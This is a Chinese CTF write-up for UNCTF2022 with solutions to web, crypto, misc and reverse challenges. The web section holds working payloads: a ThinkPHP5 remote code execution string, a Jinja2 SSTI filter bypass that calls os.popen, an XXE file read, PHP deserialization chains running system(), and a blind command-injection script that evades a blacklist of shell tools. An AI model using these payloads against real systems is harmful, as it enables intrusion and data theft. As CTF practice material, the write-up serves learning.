UNCTF2022wp
这次比赛学习到了很多知识,主要做的是web,而且web做的也不是很好,为了拿分到后面只能边学边做杂项和逆向,基本都是csdn然后跟着步骤做出来的,原理什么的还没开始学,也只能做做简单题了。。。纪录一下吧。路还长,还要继续走。
Web
我太喜欢bilibili大学啦1(phpinfo)
phpinfo()搜索flag或者unctf
签到(默认密码 遍历用户名)
bp爆破用户名,初始学号开始爆破n位,密码不变
babyphp(sha1()绕过 phpinfo)
访问index.php
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){if($_POST["a"]==0&&$_POST["a"]!==0){if(isset($_POST["key1"])&isset($_POST["key2"])){$key1=$_POST["key1"];$key2=$_POST["key2"];if ($key1!==$key2&&sha1($key1)==sha1($key2)){if (isset($_GET["code"])){$code=$_GET["code"];if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){eval($code);}else{echo "有手就行</br>";}}else{echo "老套路了</br>";}}else{echo "很简单的,很快就拿flag了~_~</br>";}}else{echo "百度就能搜到的东西</br>";}}else{echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";}
}
数组返回null绕过sha1函数,弱比较,false == false => true
flag藏在phpinfo里,搜索
payload
GET:?code=phpinfo();
POST:a=0a&key1[]=1&key2[]=2
easy_upload(文件上传 找flag)
修改MIME即可上传,蚁剑连接
找到/tmp/flag.sh文件,发现flag藏在/home/ctf/flag
给你一刀(THINKPHP5 ENV)
直接网上搜漏洞payload,flag在环境变量里
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
我太喜欢bilibili大学啦2(目录扫描 phpinfo)
根据题目搜索hint,base64解码
访问admin_unctf.php
f12看到提示让抓包,试试
继续解码,得到用户名密码
源码
<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){exit("username or password is empty");
}else{if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){show_source(__FILE__);@system("ping ".$_COOKIE['cmd']);}else{exit("username or password error");}
}
这里注意Cookie发送
由于刚才登录成功的时候已经发送cookie给服务器了,所以再次发送cookie无法有结果。我的做法是销毁靶机重新开,等到第一次登录的时候抓包,添加cookie。
解码,访问,得到flag。(踩了挺久的坑)
302与深大(重定向 cookie伪造 目录扫描)
f12查看源码,提示302,让我们找到原来的页面。看到url发现一进来的页面是saveas.html,一般来说应该是默认index.php。于是试试访问index.php(需要抓包)
bp抓包修改,访问index.php
获得前半段flag。然后右键改变请求方式,根据提示,添加Cookie: admin=true
搜索flag即可获得后半段
或者通过目录扫描,得到Dockerfile,获得后半段flag
easy_ssti(jinjia2 ssti 绕过 ENV)
登录进去,看到页面显示了我们的用户名。接下来判断是什么模板。
使用{{7*‘7’}}发现结果,判断为jinjia2
尝试执行命令,发现过滤class。
这里学到了Y4tacker大佬的SSTI绕过payload
Flask在渲染模板的时候,有
"".__class__
===""["__class__"]
这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形
"".__class__
===""["__cla"+"ss__"]
这样就能够使用拼接的方式绕过class,包括下面的subclasses也是如此。但是可能也无法执行,响应码为500,显示如下内容,不能完成请求
后面尝试将59
修改成其他较大数字(超过__subclasses__
类子类个数),发现成功了(当时搞了挺久没想到这样能执行,运气来了,也不懂什么原理,大概是因为后面的__init__
会初始化类吧)
payload
user={{()["__cla""ss__"]["__bases__"][0]["__subcla""sses__"]()[211].__init__.__globals__['__builtins__']['ev'+'al']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("env")'+'.re'+'ad'+'()')}}&pwd=123
听说php有一个xxe(文件读取)
根据提示访问/hint和dom.php,获得dom.php代码
post发送读取文件的外部实体payload,读取/flag
由于没有安装expect扩展,不能用该方式执行命令
payload
<!DOCTYPE note [<!ENTITY textContent SYSTEM "file:///flag">]>
<user><username>&textContent;</username></user>
ezunseri(反序列化 属性不敏感 pop构造 fast_destruct)
源码
<?php
highlight_file(__FILE__);
error_reporting(0);class Exec
{public $content;public function execute($var){eval($this->content);}public function __get($name){echo $this->content;}public function __invoke(){$content = $this->execute($this->content);}public function __wakeup(){$this->content = "";die("1!5!");}}class Test
{public $test;public $key;public function __construct(){$this->test = "test123";}public function __toString(){$name = $this->test;$name();}} class Login
{private $name;public $code = " JUST FOR FUN";public $key;public function __construct($name="UNCTF"){$this->name = $name;}public function show(){echo $this->name.$this->code;}public function __destruct(){if($this->code = '3.1415926'){return $this->key->name;}}}if(isset($_GET['pop'])){$a = unserialize($_GET[pop]);
}else{$a = new Login();$a->show();
}
<?php
//Exec::execute() <- Exec::__invoke() <- Test::__toString() <- Exec::__get() <- Login::__destruct()
class Exec
{public $content;
}class Test
{public $test;public $key;
}class Login
{public $name;public $code;public $key;
}$l = new Login();
$l->key = new Exec();
$l->key->content = new Test();
$l->key->content->test = new Exec();
$l->key->content->test->content = "system('cat /flag');";echo serialize($l); //去掉最后一个'}'
返回包查看php版本,版本7.1+属性不敏感,绕过private。
去掉最后一个’}'即可在调用
__wakeup()
之前调用__destruct()
,绕过__wakeup()
。
payload
?pop=O:5:"Login":3:{s:4:"name";N;s:4:"code";N;s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:20:"system('cat /flag');";}s:3:"key";N;}}
poppop(反序列化 pop构造 private ENV)
源码
<?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{public $key;function __destruct(){echo $this->key;}
}
class C{private $key2;function __toString(){return $this->key2->abab();}
}if(isset($_POST['poc'])) {unserialize($_POST['poc']);
}else{highlight_file(__FILE__);
}
<?php
//A::__call() <- C::__toString() <- B::__destruct()
class A{public $code;
}
class B{public $key;
}
class C{public $key2; //源代码中为private,payload需要添加%00
}$b = new B();
$b->key = new C();
$b->key->key2 = new A();
$b->key->key2->code = "system('ls')";echo serialize($b);//poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}
payload
poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}
babynode(nodejs 原型链污染 Content-Type修改)
源码
app.post('/', function(req, res) {var flag='flag';var admin = {};let user = {};try{copy(user,req.body);} catch (error){res.send("copy error");return;}if(admin.id==='unctf'){res.end(flag);}else{return res.end("error");}
}
注意需要把Content-Type改为application/json
payload
{"__proto__":{"id":"unctf"}}
easy_rce(布尔盲注 if)
源码
<?php
# flag in /flagif(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){exec($code,$output,$return_val);if(!$return_val) echo "success";else{echo "fail"; }}else{die("小黑子,露出只因脚了吧");}
}
else{highlight_file(__FILE__);
}
?>
题目提示flag在/flag。
exec($code,$output,$return_val)
执行$code命令,以数组的形式输出到$output数组中,命令执行失败返回空数组。$return_val为执行命令后返回的值
if(!$return_val)?code=return 0 //$return_val = 0 => if(!0) => 页面显示success
?code=return 1 //$return_val = 1 => if(!1) => 页面显示fail?code=exit 0 //$return_val = 0 => if(!0) => 页面显示success
?code=exit 1 //$return_val = 1 => if(!1) => 页面显示faillinux下return和exit都可以使用,windows下经过测试只有exit可以
由此,我们可以执行cut命令获取文件中的内容,借助if判断,返回0或1,根据页面显示success或fail来达到盲注,与sql类似。
if [ $(cut -c 1 /flag) = 'U' ];then return 1; fi //取/flag文件的第一个字符,如果等于'U',返回1,否则命令没有执行成功,返回0。注意'['、']'的右、左侧都要一个空格
再结合base64
编码绕过,之后使用sh
(试过使用bash
不行)。使用$()
绕过关键字。这里有个问题,base64编码后的结果可能匹配到黑名单,导致得到的flag不全。可以通过多加几个空格来解决这个问题。
if [ $(cut -c 1 /?lag ) = 'U' ] ; then return 1 ; fiecho IGlmIFsgJChjdXQgLWMgIDEgICAvP2xhZyApID0gJ1UnICAgXSAgOyB0aGVuICAgIHJldHVybiAgMSA7IGZp|base6$()4 -d|s$()h
脚本
import base64
import requests
import string
t=string.ascii_letters+string.digits
t=t+"{}_-`~!@#$%^&*()+"
result = ""
for i in range(1,50):for j in t:payload0=rf" if [ $(cut -c {i} /?lag ) = '{j}' ] ; then return 1 ; fi"payload1 = str(base64.b64encode(payload0.encode("utf-8")), "utf-8")payload2 = "echo "+payload1+"|base6$()4 -d|s$()h"url="http://03983356-25f0-4b9f-bad6-9733e039571c.node.yuzhian.com.cn/?code="+payload2r = requests.get(url=url)#print(r.text)if('fail' in r.text):result += jprint(result)breakif '}' in result:break
Crypto
md5-1(碰撞)
from hashlib import md5
import strings = string.ascii_letters+string.digits+string.punctuation
result = ""l=[]
with open(r'D:\Desktop\test\crypto-md5-1\out.txt','r') as f:for line in f:line = line[:-1] #去掉\nl.append(line)for i in range(0,len(l)):for j in s:if md5(j.encode()).hexdigest() == l[i]:result += jbreakprint(result)
dddd(摩尔斯密码 变换)
110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010
写个脚本,将0替换为-或.
,将1替换为.或-
,通过在线工具解密
s = r"110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010"
s = s.replace('1','.')
s = s.replace('0','-')
print(s)#a = r"U N C T F %u7b Y 4 S %ud T H 1 S %ud J U S T %ud M 0 R S E %u7d "
#print(a.replace(" ",""))
最后把一些符号替换成{_}
caesar(凯撒密码 变换)
将普通字母表换成base64即可
md5-2(碰撞 异或 变换)
根据源代码可知,txt文件的每个字符串是由flag中的第i-1个哈希值十进制和第i个哈希值十进制异或得到(i=0时为文件中的字符串为第一个字符的哈希值),最后将结果转为十六进制。
for i in range(0,len(md5_)):if i==0:with open('out.txt','a')as file:file.write(hex(md5_[i])[2:]+'\n')else:with open('out.txt','a')as file:file.write(hex(md5_[i]^md5_[i-1])[2:]+'\n')
由于两个相同的数异或为0,任意数和0异或是本身,因此过程可逆
12 ^ 12 = 0 11 ^ 13 ^ 11 = 13
写脚本将其过程逆向得到原本第i个字符的哈希值,最后碰撞得到flag
脚本
import string
from hashlib import md5l=[]
with open('out.txt','r') as f:for line in f:line = line[:-1]l.append(line)
print(l)z = []
for i in range(0,len(l)):if(i==0):z.append(l[0])elif(i>0):y = hex(int(l[i],16)^int(z[i-1],16))[2:]if(len(y)!=32): #哈希值为0开头就会导致无法匹配,因此需要判断长度,当然也有可能需要加两个0,但可能性比较小y = "0"+yz.append(y)s = string.ascii_letters+string.digits+string.punctuation
result = ""for k in range(0,len(z)):for i in s:x = md5(i.encode()).hexdigest()if(x == z[k]):result+=iprint(result)break
ezRSA(RSA 变换)
源代码
import libnump=libnum.generate_prime(256)
e=65537
m=flagm=libnum.s2n(m)
n=p**4
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)print ("n=",n)
print ("e=",e)
print ("c=",c)
62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
65537 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
给出n、e、c,求m。phi_n和n为题目给的,网站分解n得到p,其他按照正常步骤进行解密即可
脚本
import gmpy2
import binasciie=65537
p=89065756791595323358603857939783936930073695697065732353414009005162022399741
c=56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504n=p**4
phi_n=p**4-p**3d=gmpy2.invert(e,phi_n)m = gmpy2.powmod(c,d,n)
m = binascii.unhexlify(hex(m)[2:])
print("m=",m)
Single table(playfair变换)
古典密码playfair加解密的变换,观察如何加密,再反向即解密。(这里的P1P2同行有两种情况,最后根据解密的结果猜测flag,紧靠左方)
结果
Misc
magic_word(乱码+零宽隐写)
打开文件发现有乱码和一堆符号,试试将.docx后缀改为.zip,到word的document.xml复制乱码去网上的乱码在线自动修复工具,得到提示。
发现这一堆符号变成了一段英文
零宽字符,不可见、不可打印的字符,用于调整字符的显示格式
常见的零宽字符以及unicode码如下:
零宽度空格符U+200B:较长单词换行分隔
零宽度非断空格符U+FEFF:阻止特定位置的换行分隔
零宽度连字符U+200D
零宽度断字符U+200C
左至右符U+200E
右至左符U+200F
将一堆符号复制到linux,用打开vim查看,可以看到有蓝色的零宽字符
使用在线工具零宽解码
复制xml里面的英文到左上角的框,然后点击encode,再点击decode,即可得到flag(一次可能无法得到,可以clear重新粘贴重复上述步骤,或者上传文件来解码)
找得到我吗(改后缀.zip)
改后缀.zip,进入word的document.xml看到flag
syslog(搜索 解压密码)
打开压缩包,搜索password,得到base64编码,解码,得到压缩包密码
拿去解压flag.zip得到flag
Reverse
whereisyourkey(ExeinfoPE gcc elf 32bit)
010Editor打开搜索没有flag,使用工具ExeinfoPE,得到信息,32位文件,elf文件
拖到ida,shift+F12搜索flag
双击main函数查看
看到ooooo()函数,双击查看
所以,main函数大概意思是:我们输入的长度为10的字符串key的每一个字符,需要与v5-v14分别经过ooooo()函数处理返回的字符相同。接下来编写python代码实现
代码
a = [118,103,112,107,99,109,104,110,99,105]def ooooo(a1):if a1 == 109:return 109if ( a1 <= 111 ):if ( a1 <= 110 ):a1 -= 2else:a1 += 3return a1s = []
for i in a:s.append(ooooo(i))
print(s)x = ""
for i in s:x+=chr(i)print(x)
UNCTF2022wp相关推荐
最新文章
- 设计模式:迭代器模式
- 安装Termux的手机上运行Python
- 在Apache上隐藏服务器签名的方法
- RabbitMQ(五):Exchange交换器--topic
- 【Linux】一步一步学Linux——read命令(220)
- 5.23考前友情提醒
- 删除linux系统中的eth0.bak与多余的网卡
- 【图像转换】基于matlab二维图转三维图【含Matlab源码 465期】
- hadoop安装教程(一次填完所有的坑)
- InnoDB存储引擎
- C#程序员整理的Unity 3D笔记(十三):Unity 3D基于组件的思想
- python学习——python平台搭建
- 计算机应用专业配置标准,计算机应用专业技能抽查考试标准.doc
- SAP VK11 报错“条件不能创建在分销渠道 10 中”
- 众享比特 2018 LC3大会分享:如何基于Fabric实现供应链金融平台系统?
- 计算机c盘哪些可以清理,怎么清理C盘?不知道哪些可以删除?
- Mac 系统下VisualVM的安装
- 拼多多关键词搜索采集商品数据接口,拼多多分类ID搜索采集商品销量接口,拼多多上货接口,拼多多商品列表API接口
- Oracle-多表查询
- 整理10种电脑截图工具(附带下载地址)
热门文章
- swift:使用NSJSONSerialization和SwiftyJSON两种方法解析网络返回的json格式数据
- 网页中的编码方式的查看
- 使用ettercap进行dns欺骗
- MATLAB计算K近邻
- 战滩斗水:一个长江航道人的风雨回忆
- nodejs Koa框架及常用中间件
- matlab 限速标志数字识别之去除标志外环噪声
- SPOJ Problem 3410:Feynman
- java1310错误,CC1310开发常见问题和解答(示例代码)
- matlab逐差法处理数据非线性,逐差法使用条件(逐差法处理数据的条件)